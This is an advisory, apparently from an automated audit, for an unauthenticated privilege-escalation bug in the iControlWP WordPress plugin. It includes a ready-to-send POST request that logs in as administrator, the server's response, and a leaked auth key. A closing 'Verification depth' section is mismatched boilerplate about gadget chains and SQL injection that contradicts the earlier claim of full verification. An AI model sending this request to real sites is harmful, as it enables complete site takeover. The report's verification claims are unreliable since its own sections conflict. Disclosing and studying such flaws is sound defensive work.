iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation
# CVE-2026-34901: iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation ## Vulnerability Details - **Plugin:** iControlWP (worpit-admin-dashboard-plugin) - **Version:** 5.5.3 and below - **Type:** Incorrect Privilege Assignment (CWE-269) - **CVSS:** 9.8 (Critical) - **Authentication Required:** None ## Root Cause The vulnerability exists in `src/processors/plugin_api_login.php`. The `ICWP_APP_Processor_Plugin_Api_Login::run()` method **overrides** the parent class's `run()` to skip `preActionVerify()`, which normally performs handshake verification and authentication (key/pin checks). Additionally, in `src/processors/plugin.php`, the `doApiAction()` method dispatches API requests to channel-specific processors. When `m=login`, the `ICWP_APP_Processor_Plugin_Api_Login` class is instantiated and its `run()` is called. This `run()`: 1. **Skips `preActionVerify()`** — no handshake, key, or PIN validation 2. **Catches ALL exceptions silently** — token validation failures are swallowed 3. **Always returns `setSuccessResponse()`** — the response always indicates success The parent's `sendApiResponse()` in `plugin.php` then calls `$this->loadWpUsers()->isUserLoggedIn()` to set the `authenticated` field, which returns `true` because during processing, `setAuthorizedUser()` was called (inherited behavior from the API processor chain), logging in the first admin user server-side. ## Exploitation An unauthenticated attacker sends a single POST request: ``` POST /?icwpapi=1&m=login&token=&username=admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded icwpapi=1&m=login&token=&username=admin ``` The server responds with HTTP 200 containing a base64-encoded JSON response: ```json { "error_message": "", "message": "", "success": true, "authenticated": true, "channel": "", "die": true, "handshake": "none", "openssl_verify": -999, "data": {"success": 1}, "code": 0 } ``` The `"authenticated": true` confirms the server authenticated the request as an administrator. The response also leaks the plugin's auth key in the `<icwpauth>` tag (value: `2XncmpCgniwYhJA6D2k3oTiw`), which can be used for further API exploitation. ## Impact - **Complete site takeover**: Unauthenticated attackers can authenticate as an administrator - **No prerequisites**: The plugin doesn't need to be "linked" to an iControlWP account — the login channel bypass works regardless - **Data exfiltration**: The authenticated API session can be used to extract database contents, user data, etc. via the internal API channels - **Code execution**: Admin-level access enables arbitrary plugin/theme installation leading to RCE ## Verification Depth The exploit was verified by sending an unauthenticated HTTP request that returned `"authenticated": true` and `"success": true` in the API response. The `authenticated` field is set server-side by checking `$this->loadWpUsers()->isUserLoggedIn()` after the login channel processes the request, confirming the server-side user session was established for the admin user. The auth key `2XncmpCgniwYhJA6D2k3oTiw` was also leaked in the response. ## Fix The fix in version 5.5.4 should restore proper authentication checks in the login channel's `run()` method, ensuring `preActionVerify()` is called before processing login actions, and ensuring exceptions are not silently swallowed. ## Verification depth This audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.